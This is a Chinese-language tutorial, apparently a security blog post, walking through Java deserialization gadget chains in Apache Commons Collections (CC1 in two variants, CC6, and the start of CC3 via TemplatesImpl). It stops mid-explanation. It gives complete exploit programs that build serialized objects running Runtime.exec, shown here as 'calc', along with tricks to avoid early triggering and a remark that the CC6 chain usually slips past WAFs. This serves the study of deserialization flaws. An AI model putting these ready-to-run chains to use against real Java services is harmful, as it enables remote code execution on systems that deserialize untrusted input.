我们都知道遍历 Map 的经典写法:通过map.entrySet()获取所有键值对集合,遍历每个 Entry 后,调用entry.getValue()或entry.setValue()来操作值。而被 TransformedMap 装饰后的 Map,它的 Entry 对象调用setValue()方法时,会触发checkSetValue()方法的执行。

这条调用链路最终会触发我们构造的恶意 Transformer 的transform()方法。
我们可以这样验证这个逻辑:先新建一个原生 HashMap 对象,通过TransformedMap.decorate()装饰它(keyTransformer 传 null,valueTransformer 传入恶意的 InvokerTransformer);再往这个装饰后的 Map 中添加一组键值对,key 可随意设置,value 指定为 Runtime 对象 r 即可。

我们执行验证操作:遍历这个装饰后的 Map 的 entrySet,取出每个 Entry 并调用entry.setValue()(传入任意值即可),运行后计算器成功弹出,这说明我们构造的这半段调用链是通的。

这也就意味着:只要能找到一个代码位置,会遍历 Map 的 entrySet 且调用 Entry 的setValue()方法,我们就能传入构造好的恶意 Map,触发恶意代码执行。
接下来我们继续逆向查找,思路不变:找哪个类的readObject()方法里,存在 “遍历 Map 的 entrySet + 调用 Entry.setValue ()” 的逻辑 —— 如果这个逻辑直接在readObject()里执行,那这个类就能直接作为我们的入口类。
具体操作就是双击setValue方法,查找它的调用用法。


5.AnnotationInvocationHandler
我们最终锁定了目标入口类:sun.reflect.annotation.AnnotationInvocationHandler,接下来我们重点分析这个类的readObject()方法 —— 它正是我们要找的、可能包含 “遍历 Map.entrySet () 并调用 Entry.setValue ()” 逻辑的反序列化入口类。

我们发现 AnnotationInvocationHandler 类的readObject()方法中,恰好包含遍历 Map.entrySet 的逻辑,还会对每个 Entry 的 value 调用setValue()方法 —— 这完全匹配我们刚才验证的触发场景!
接下来我们重点分析这个类的可控项:从类名就能联想到,它是 JDK 动态代理中 InvocationHandler 调用处理器的实现类,专门处理注解相关的动态代理逻辑。现在我们先看这个类的构造方法,分析哪些参数是我们可以控制的。

AnnotationInvocationHandler 的构造方法接收两个参数:第一个type是 Class 对象,且必须是注解类型(即继承了 Annotation 接口的类);第二个是名为memberValues的 Map 对象 —— 这个 Map 是构造方法入参,我们可以完全控制,正好能把之前构造的恶意 TransformedMap 传进去。
看起来条件都完美满足(Map 完全可控),那是不是直接实例化这个类,传入恶意 Map 后序列化、再反序列化,就能触发漏洞了?
但这里有两个问题,还有两个坑,我们一个个解决:
第一个问题:

AnnotationInvocationHandler这个类,它的修饰符是default,不是public,我们自己写的代码是没法直接new它的,必须通过反射来实例化它。
第二个问题: 序列化约束问题:之前测试用的 InvokerTransformer 的transform()方法需要传入 Runtime 对象才能执行 exec 命令,但 Runtime 类未实现 Serializable 接口,无法被序列化,也就不能直接把它放进 Map 里序列化传递。
还有两个小坑:

AnnotationInvocationHandler的readObject()方法里,有两个if判断,我们必须满足条件,才能走到我们想要的setValue()调用逻辑里。
我们先解决 Runtime 对象无法序列化的核心问题:Runtime 对象本身没实现 Serializable 接口,确实不能被序列化,但 Runtime.class(也就是 Runtime 的 Class 对象)是可以序列化的 —— 因为 Class 类本身实现了 Serializable 接口。因此我们调整思路:不再直接传入 Runtime 对象,而是传入 Runtime.class,后续在利用链中通过反射一步步获取到 Runtime 对象,再调用 exec 方法执行系统命令。
现在我们全都改成InvokerTransformer的写法,每一步对应一个InvokerTransformer:
Method getMethod = (Method)new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}).transform(Runtime.class);
Object invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}).transform(getMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(invoke);
如果直接看可能会看懵,自己一步步写下来,就会发现逻辑非常清晰,就是把反射的每一步,拆成了对应的InvokerTransformer。
现在我们需要把三个 InvokerTransformer 按顺序链式调用,正好能用到 ChainedTransformer—— 它的构造方法接收一个 Transformer 数组,会按数组顺序执行每个 Transformer 的transform()方法,且前一个 Transformer 的输出会作为后一个的输入。
具体操作:先定义一个 Transformer 数组,把这三个 InvokerTransformer 按执行顺序放进去;再实例化 ChainedTransformer 并传入该数组;调用这个 ChainedTransformer 的transform()方法,输入 Runtime.class,执行后计算器能成功弹出,这就解决了 Runtime 对象不可序列化的问题。
最后整合代码:把之前 TransformedMap 的 valueTransformer(原本传单个 InvokerTransformer),替换成我们构造好的这个 ChainedTransformer 即可。

现在我们来解决第一个问题:通过反射实例化AnnotationInvocationHandler。首先通过全类名获取它的Class对象,然后获取它的构造方法,最后调用newInstance(),传入两个参数。
- 第一个参数:任意 JDK 自带的注解类型 Class 对象(比如Target.class、Override.class、SuppressWarnings.class都可行,这里以Target.class为例);
- 第二个参数:我们之前构造好的恶意 TransformedMap。
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annoConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object o = annoConstructor.newInstance(Target.class, decorateransformedMap);
我们的入口对象就构造好了,写好序列化和反序列化方法,把这个对象序列化再反序列化
public static void Ser(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unser(String file) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
Object o = objectInputStream.readObject();
return o;
}
现在还有两个 if 判断的 “坑” 没绕过去,我们直接通过断点调试来定位问题根源:在反序列化的核心入口 ——AnnotationInvocationHandler 的readObject()方法里打上断点,逐行调试后发现,第一步逻辑是先获取我们通过构造方法传入的 type(也就是示例中的 Target.class),然后再获取这个注解类的memberTypes(即该注解中定义的所有属性方法)。

然后它会遍历我们传入的memberValues Map的entrySet,拿到每一个Entry的key,然后去memberTypes里查找,这个key是不是注解里存在的属性名。

我们通过断点调试找到了第一个 if 判断的坑:之前往 Map 里随意设置的 key(比如 "aaa"),和 Target 注解里实际存在的属性名不匹配 ——Target 注解只有value这一个属性,没有 "aaa" 这个属性,所以查找结果为 null,循环直接跳出,根本没执行到我们需要的setValue()方法。
找到问题根源后,我们针对性修改:把 Map 中的 key 改成注解里真实存在的属性名(比如 Target 注解的 "value"),再重新执行即可。

再调试,这次拿到Entry的key是"value",去memberTypes里查找,找到了对应的属性,不是null了,成功进入了if判断里。

然后第二个if判断,是判断值的类型能不能强转成注解里属性的类型,我们传的值肯定是强转不了的,所以也能进入分支,终于走到了我们想要的entry.setValue()方法!

我们跟进去,终于走到了TransformedMap的checkSetValue()方法,调用了valueTransformer的transform()方法,也就是我们的ChainedTransformer的transform方法。

但这里又出问题了:ChainedTransformer的transform方法,接收的输入参数是setValue()传进来的值,而不是我们想要的Runtime.class,所以执行肯定会失败。1

这就是我们遇到的第二个坑:transform()方法的输入值完全不受控制 —— 它是setValue()方法里传入的参数,而非我们需要的 Runtime.class。
这个问题恰好能被我们最初提到的ConstantTransformer解决:它的核心特性是不管transform()接收到什么输入,永远返回构造时传入的常量对象。
我们只需在 ChainedTransformer 的 Transformer 数组最前面,新增一个构造时传入 Runtime.class 的 ConstantTransformer。这样无论 ChainedTransformer 接收到什么输入,第一步都会返回 Runtime.class,作为后续 InvokerTransformer 的输入,完美解决输入值不可控的问题。
接下来修改 Transformer 数组:最前端放new ConstantTransformer(Runtime.class),再按顺序放入之前的三个 InvokerTransformer,至此整条利用链的执行流程就完全通顺了。

1.反序列化操作触发 AnnotationInvocationHandler 类的readObject()方法(整个利用链的核心入口);
2.readObject()内部遍历传入的 Map 的 entrySet 集合,并调用每个 Entry 的setValue()方法;
3.setValue()方法调用checkSetValue(),进而触发我们注入的 ChainedTransformer 的transform()方法;
4.ChainedTransformer 执行第一步:调用 ConstantTransformer 的transform(),无论接收到什么输入值,都会固定返回 Runtime.class;
5.后续三个 InvokerTransformer 按顺序链式执行反射逻辑,最终调用 Runtime 的exec()方法,执行构造的系统命令(如弹出计算器)。

我们再执行一次,就能看到计算器成功弹出来了!我们从头开始,一行一行把CC1的EXP写完了,其实代码并不多,只是中间有很多坑点,需要我们跟着调试一步步解决。
public class CC1Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = (Transformer)new ChainedTransformer(transformers);
HashMap<String, Object> map = new HashMap<>();
map.put("value","bbb");
Map<String,Object> decorateransformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annoConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
Object o = annoConstructor.newInstance(Target.class, decorateransformedMap);
Ser(o);
unser("cc1.bin");
}
public static void Ser(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unser(String file) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
Object o = objectInputStream.readObject();
return o;
}
}下图由AI生成

这就是常说的 CC1 链,但和 ysoserial 原版不一样。我们现在写的是国内安全研究者改的版本,用的是 TransformedMap;原版 CC1 前半段用的是 LazyMap,更复杂一些,不过后半段的 ChainedTransformer 恶意调用链是一样的。
CC1第二条链:
我们来看一下ysoserial的链。

ysoserial 里的 CC1 链,后半段和我们之前讲的完全一致 —— 都是从 ChainedTransformer 到 InvokerTransformer,核心都是触发 Transformer 的 transform 方法。

我们之前是选了 Map 相关实现类里的 TransformedMap 来触发 transform;除此之外还有 LazyMap 和 DefaultedMap 也能触发,ysoserial 原版用的就是 LazyMap(DefaultedMap 和 LazyMap 逻辑、核心方法基本一样)。
接下来我们先看 LazyMap 的具体逻辑。

LazyMap 里有个 get () 方法,所以我们接下来的思路很明确:找哪个类的方法里调用了这个 get (),只要能触发 get (),就能触发恶意逻辑。
先回顾下之前的 CC1 链流程:InvokerTransformer 的 transform → 被 ChainedTransformer 的 transform 封装 → 被 TransformedMap 的 checkSetValue 调用 → checkSetValue 又被 Map.Entry 的 setValue () 调用 → 最终在 AnnotationInvocationHandler 的 readObject () 里触发 setValue ()。
现在要做的改造很简单:把 TransformedMap 换成 LazyMap,触发点从 setValue () 改成 get () 就行,核心的恶意 Transformer 逻辑完全不用改。
protected final Transformer factory;
// org/apache/commons/collections/map/LazyMap.java
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}现在我们要触发 LazyMap 的 get () 方法 —— 它内部会调用我们传入的 factory(也就是恶意 ChainedTransformer)的 transform 方法。
LazyMap 是懒加载逻辑:只有 Map 里不存在这个 key,才会进入 if 分支、执行 transform;有 key 就直接返回,不会触发漏洞,这点必须注意。
我们依然需要一个 readObject () 里会间接调用 Map.get () 的反序列化入口。
ysoserial 原版 CC1 链,用的还是同一个类:AnnotationInvocationHandler。
它的 memberValuesMap 我们完全可控,现在只需要找到:这个类里哪里调用了 memberValues 的 get () 方法。
sun/reflect/annotation/AnnotationInvocationHandler.java

AnnotationInvocationHandler 里其实有 5 处调用了 get () 方法,但大多和注解的 memberTypes(这个我们控制不了)相关;我们只找能控制的部分,最终发现它的 invoke () 方法里,有可被我们操控的 get () 调用。

这里就要用到动态代理的知识:AnnotationInvocationHandler 本身就是 InvocationHandler 的实现类。只要代理对象的任意方法被调用,就会自动触发它的invoke()方法。所以我们只要让流程进到这个invoke()里,就能触发里面的get()调用。
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}nvoke () 方法里有三个关键的 if 判断限制:
- 排除特定的 equals 调用(方法名是 equals 且参数为 1 个 Object 类型的情况);
- 必须是无参方法(参数数组长度为 0,否则抛 AssertionError);
- 排除 Object 通用方法 /annotationType(方法名不能是 toString、hashCode、annotationType)。
核心逻辑很明确:我们要创建一个动态代理,把 AnnotationInvocationHandler 作为调用处理器传入 —— 只要调用这个代理对象的任意方法,就会触发 invoke (),进而调用 Map 的 get () 方法(Proxy (annotationInvocationHandler). 任意方法 → 触发 invoke)。
接下来需要找一个反序列化入口类:它的 readObject () 要能调用这个代理对象的方法,且动态代理必须基于接口实现。虽然 HashMap、HashSet 等也能做外层包裹,但 ysoserial 原版 CC1 链还是选了 AnnotationInvocationHandler(因为它能接收 Map 类型的 memberValues)。
所以这条链的整体结构是这样的:

原版 CC1 链的结构是套了两层 AnnotationInvocationHandler,还用到两次动态代理,这也是它看起来绕的原因:
- 最外层是 AnnotationInvocationHandler 对象(反序列化入口),它的 memberValues 里放的是动态代理对象;
- 这个动态代理的调用处理器,是另一个 AnnotationInvocationHandler 实例;
- 内层这个 AnnotationInvocationHandler 的 memberValues,放的是我们构造的恶意 LazyMap;
- LazyMap 里的 factory,就是包含恶意逻辑的 ChainedTransformer。
现在理清了这个嵌套结构,就可以按步骤写代码实现了。
先把执行命令的 ChainedTransformer 逻辑准备好,再开始构造 LazyMap:先新建一个空的 HashMap(注意不要放入要触发的 key,否则 LazyMap 不会执行 transform 逻辑),接着调用 LazyMap.decorate () 方法(选择接收 Transformer 参数的那个重载版本)。

我们选择接收 Transformer 参数的这个 decorate 重载方法,第一个参数传入刚创建的空 HashMap,第二个参数传入构造好的 ChainedTransformer,这样就能得到恶意 LazyMap 对象。

接下来构造内层 AnnotationInvocationHandler,并基于它创建动态代理。依旧通过反射获取该类的 Class 对象、拿到构造方法并开启访问权限;构造方法第一个参数传任意 JDK 自带注解的 Class(比如 Override.class、Target.class 都可以,只需正常创建实例不抛异常,不用走之前的 setValue 逻辑),第二个参数传入刚构造的 LazyMap。

拿到这个内层 InvocationHandler 实例后,就该创建动态代理了。我们沿用之前讲过的写法,调用 Proxy.newProxyInstance () 方法,传入三个参数:第一个是类加载器,第二个是要代理的接口数组(这里需要代理 Map 接口,所以传 new Class []{Map.class}),第三个是刚创建的内层 AnnotationInvocationHandler 实例。
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),
new Class[]{Map.class},
o);之所以代理 Map 接口,是因为最外层 AnnotationInvocationHandler 的构造方法第二个参数要求接收 Map 类型,代理对象必须实现 Map 接口才能传入;同时这也是 JDK 动态代理的基本要求 —— 只能基于接口创建代理。
接下来构造最外层的 AnnotationInvocationHandler:依旧使用之前的构造方法(反射获取并开启访问权限),第一个参数传任意注解 Class,第二个参数传入刚创建的 Map 动态代理对象。
Object o1 = annoConstructor.newInstance(Override.class, mapProxy);
到这里,我们的恶意对象就构造完成了,接下来只需要调用序列化和反序列化方法,把这个最外层的AnnotationInvocationHandler对象序列化再反序列化,就能触发漏洞了。
//第二
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = (Transformer)new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMapdecorate = LazyMap.decorate(map, chainedTransformer);
Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> annoConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
annoConstructor.setAccessible(true);
InvocationHandler o = (InvocationHandler) annoConstructor.newInstance(Target.class,lazyMapdecorate);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, o);
Object o1 = annoConstructor.newInstance(Override.class, mapProxy);
Ser(o1);
unser("cc11.bin");
成功执行,所有的动态代理类,都继承了Proxy类,而Proxy类实现了Serializable接口,所以是可序列化的。当然,动态代理的序列化流程和普通对象不一样。
我们现在来看一下JDK 8u71的修复,到底改了什么。我们把JDK版本切到8u71,

代码什么都不改,再运行一次,会发现漏洞不触发了。我们打开8u71版本里的AnnotationInvocationHandler类,主要看它的readObject()方法,核心改动就在这里。

新版本 JDK 中处理 memberValues 的逻辑变了:不再直接操作我们传入的 memberValues,而是新建 LinkedHashMap,把原 Map 内容复制进去,后续所有操作都针对这个新 Map。
这直接导致两个后果:一是 TransformedMap 版 CC1 链彻底失效(新版本不会调用 Map.Entry 的 setValue (),checkSetValue 调用链完全消失);二是基于动态代理的原版 CC1 链也用不了(和动态代理序列化实现相关,逻辑较复杂)—— 总之 JDK 8u71 后这两条 CC1 链都废了。
反序列化漏洞利用既依赖 Commons Collections 版本,又强依赖 JDK 版本,非常不便。因此我们需要找不受 JDK 版本限制的链,也就是CC6 链。
Commons Collections 6(CC6)


CC6 链最大的优势是完全不受 JDK 版本限制,且后半段的恶意逻辑和 LazyMap 版 CC1 链完全一致,仅替换了最外层的反序列化入口 —— 改用我们熟悉的 HashMap(URLDNS 链里就深度用过)。
我们之前讲过,HashMap 的 readObject () 方法会计算 key 的哈希值,也就是调用 key 的 hashCode () 方法。
因此思路很清晰:只要找到一个类,其 hashCode () 方法里会调用 Map 的 get () 方法,就能串起整条链。
漏洞发现者找到的这个类,就是 Commons Collections 中的TiedMapEntry,接下来我们重点看它的 hashCode () 方法。

它的hashCode()里先调用了getValue()方法,而getValue()方法里,直接调用了map.get(key)。

这正好能衔接上:只要把 TiedMapEntry 里的 map 换成我们构造的恶意 LazyMap,其 hashCode () 被调用时,就会触发 LazyMap 的 get () 方法,进而执行恶意 Transformer 逻辑。
TiedMapEntry 是 Commons Collections 里一个 public 的 Map.Entry 实现类(和 Map 绑定的键值对对象),不用关注它的具体用法,只需知道其 hashCode () 方法会触发 Map.get () 即可。
CC6 链完整流程:HashMap 反序列化 → 触发 key 的 hashCode () → 调用 TiedMapEntry 的 hashCode () → 调用其 getValue () → 调用 LazyMap.get () → 触发 ChainedTransformer 的 transform 逻辑 → 执行系统命令。
这条链流程短、逻辑顺,接下来写代码:ChainedTransformer 和 LazyMap 的构造和之前完全一致,直接复用即可;然后创建 TiedMapEntry 对象,它的构造方法很简单,只需传入 Map 对象和 key 值。

构造 TiedMapEntry 时,第一个参数传入刚建好的恶意 LazyMap,key 值随便写(比如 "aaa"),只要保证 LazyMap 里一开始没有这个 key 即可。
new TiedMapEntry(lazyMapdecorate,"aaa");
接着创建最外层 HashMap:把 TiedMapEntry 作为 HashMap 的 key(value 随便填,比如 "bbb" 就行),因为 HashMap 的 readObject () 只对 key 计算 hashCode、调用 key 的 hashCode () 方法,value 不影响逻辑。

这里要注意之前 URLDNS 链踩过的坑:执行 HashMap.put () 方法时就会直接触发漏洞(比如计算器弹出),根本等不到反序列化环节。

为什么?因为HashMap的put()方法里,为了保证key的唯一性,就已经会对key计算hash值,调用key的hashCode()方法了,

执行 put 操作时整条链就会直接触发,这和 URLDNS 链遇到的问题完全一样,因此解决思路也相同:put 时让这条恶意链无法触发,等 put 完成、序列化之前,再把恶意逻辑还原回来。整条链里可修改的地方不少,比如把 LazyMap 中的 factory 换成无害的 Transformer。

put 完成后通过反射把 LazyMap 的 factory 改回恶意 ChainedTransformer 即可。
具体操作是:构造 LazyMap 时,先不传恶意的 ChainedTransformer,而是传入无害的 Transformer(比如 ConstantTransformer 或 NopTransformer),避免 put 时触发恶意代码;等 put 操作完成后,再通过反射将 factory 改回我们的恶意 ChainedTransformer。
Map<Object,Object> lazyMapdecorate = LazyMap.decorate(map, new ConstantTransformer(111));
等 put 操作完成后,我们通过反射修改 LazyMap 中的 factory 字段,再通过 set () 方法将其值改为我们的恶意 ChainedTransformer。
Class<LazyMap> lazyMapClass = LazyMap.class;
Field lazyMapClassDeclaredField = lazyMapClass.getDeclaredField("factory");
lazyMapClassDeclaredField.setAccessible(true);
lazyMapClassDeclaredField.set(lazyMapdecorate,chainedTransformer);改完代码运行后发现,序列化和反序列化都没触发恶意逻辑,这是为什么?
其实还是踩了和 URLDNS 链类似的坑:调试就能发现,put 操作时会调用 TiedMapEntry 的 hashCode (),进而触发 LazyMap.get ("aaa");虽然此时 factory 是无害的、不会执行恶意代码,但 LazyMap 的 get () 方法会把 "aaa" 这个 key 和生成的 value 存入 Map 中 —— 也就是说,put 完成后,LazyMap 里已经有 "aaa" 这个 key 了。

问题根源还是 LazyMap 的核心逻辑:只有 key 不存在时,才会调用 transform 方法。而 put 操作时,即便 factory 是无害的,LazyMap.get ("aaa") 也会把 "aaa" 这个 key 和对应的 value 存入 Map 中,导致反序列化时 key 已存在,自然不会走进 if 分支触发恶意逻辑。
解决方法很简单:put 操作完成后,调用 lazyMap.remove ("aaa") 删掉这个 key 即可。这样反序列化时,LazyMap 里没有 "aaa" 这个 key,就会正常执行 transform 逻辑。

再次运行后就能成功:序列化时不会触发漏洞,只有反序列化时才会弹出计算器,完全符合我们的预期。

//HashMap
public class CC6Test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = (Transformer)new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMapdecorate = LazyMap.decorate(map, new ConstantTransformer(111));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMapdecorate, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazyMapdecorate.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field lazyMapClassDeclaredField = lazyMapClass.getDeclaredField("factory");
lazyMapClassDeclaredField.setAccessible(true);
lazyMapClassDeclaredField.set(lazyMapdecorate,chainedTransformer);
Ser(map2);
unser("cc6.bin");
}
public static void Ser(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unser(String file) throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(file));
Object o = objectInputStream.readObject();
return o;
}
}
//HashSet
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = (Transformer)new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMapdecorate = LazyMap.decorate(map, new ConstantTransformer(111));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMapdecorate, "aaa");
HashSet<Object> hashSet = new HashSet<>();
hashSet.add(tiedMapEntry);
lazyMapdecorate.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field lazyMapClassDeclaredField = lazyMapClass.getDeclaredField("factory");
lazyMapClassDeclaredField.setAccessible(true);
lazyMapClassDeclaredField.set(lazyMapdecorate,chainedTransformer);
Ser(hashSet);
unser("cc6.bin");
HashSet` 的底层其实就是一个 `HashMapCC6 链和 URLDNS 链的思路本质上是相通的,整体逻辑非常顺畅;它最核心的优势是既不受 JDK 版本限制,对 Commons Collections 的版本要求也极低,兼容性特别强。
只要彻底掌握 CC6 链,就足以应对绝大多数 Commons Collections 反序列化的场景:一方面它以最常见的 HashMap 作为入口,基本不会被 WAF 拦截;另一方面后半段沿用标准的 Transformer 恶意逻辑流程,通用性拉满。
简单说下其他 CC 链的情况:
- CC2 和 CC4 仅适配 Commons Collections 4 版本,我们当前用的是 3 版本,所以不展开;
- CC5 后半段逻辑和 CC1、CC6 几乎完全一样,只是换了最外层的入口类,没有本质区别;
- CC7 和 CC6 类似,也是基于 Map 哈希值计算,用到了 HashTable 还涉及哈希碰撞技巧,虽有特色但实用性不如 CC6。
其实能发现,这么多 CC 链本质就是 “排列组合”:用不同的入口类、不同的中间调用链,搭配相同的恶意 Transformer 结尾,理论上能衍生出十几条链,但大多只有学习研究的价值;只有像 CC6 这种解决了版本限制问题的链,才具备真正的实用价值。
Commons Collections 3(CC3)
接下来我们讲 Commons Collections 反序列化漏洞的 CC3 链:
它和之前的 CC1、CC6 差异很大 —— 采用了全新的命令执行方式:此前的链都是通过Runtime.exec()直接执行系统命令,而 CC3(以及 CC2、CC4)则通过动态类加载执行自定义 Java 代码;简单来说,前者是命令执行,后者是任意代码执行,灵活性和绕过能力都更强。
关于动态类加载的细节(在前篇)
我们先简单回顾类加载核心知识点:之前讲过,Java 类加载的核心在 ClassLoader 中,正常情况下,我们是通过loadClass()方法来加载类的。

loadClass()会调用findClass(),

而findClass()最终会走到defineClass()这个native方法。

defineClass()的核心作用是从字节码数组中加载出一个 Java 类,但仅加载类不会执行代码 —— 必须触发类的初始化(比如调用newInstance()实例化对象),才能执行我们写在静态代码块、构造方法里的恶意逻辑。
为什么不能直接用系统自带的 ClassLoader?有两个关键原因:
- ClassLoader 没有实现 Serializable 接口,且它的defineClass方法还是 protected 修饰的;
- 即便成功加载了字节码,若类没被实例化,静态代码块里的恶意代码也不会执行。我们需要找一个 “既能被序列化,又有公开方法会在内部自动完成‘加载字节码 + 实例化对象’” 的类。
最终我们找到了这个核心类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。

(加载源码问题,图中两个类是一样的)
我们跟进去看这个类,会发现它里面有一个私有的defineTransletClass()方法,

TemplatesImpl 内部会调用defineClass()加载字节码生成 Class 对象,并将这个对象赋值给自身的_class属性;但仅加载类还无法触发恶意逻辑,还需要触发类的初始化 —— 我们继续分析会发现,它的公开方法newTransformer()里(包含触发类初始化的逻辑)。



TemplatesImpl 在完成字节码加载后,会调用newInstance()方法实例化加载后的类。
这恰好满足我们的核心需求:只要调用 TemplatesImpl 的newTransformer()这个公开方法,它就会自动完成类加载、类实例化,进而触发我们植入的恶意代码。更关键的是,TemplatesImpl 实现了 Serializable 接口(支持序列化),且其所有成员属性都能通过反射修改,这为我们构造恶意对象提供了绝佳的条件。

接下来我们构造恶意的 TemplatesImpl 对象:
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();先看一下它的无参构造方法,

无参构造无任何操作,需通过反射赋值关键属性:

_name属性,如果是空会有问题,需要给_name随便一个非空的值,不影响逻辑。
_class是空的,它就会调用defineTransletClass()去加载类,这正是我们想要的,所以_class不能赋值,让它保持空就行。
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"qaqa");
templates.newTransformer();跟进defineTransletClass()方法,
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
里面首先判断,如果_bytecodes是空的,就会抛出异常,所以_bytecodes是我们必须赋值的核心属性。我们看一下它的类型



是一个二维字节数组byte[][],因为它里面是一个for循环,会遍历这个二维数组,把里面的每一个一维字节数组,都通过defineClass()加载成类。所以我们只需要把恶意类的字节码,放到一个一维数组里,再在外层套一个二维数组就行。
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"qaqa");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E://Tmp//Test.class"));
byte[][] bytess = {bytes};
bytecodesField.set(templates,bytess);
templates.newTransformer();再往下走,我们看到方法里用到了_tfactory这个属性,

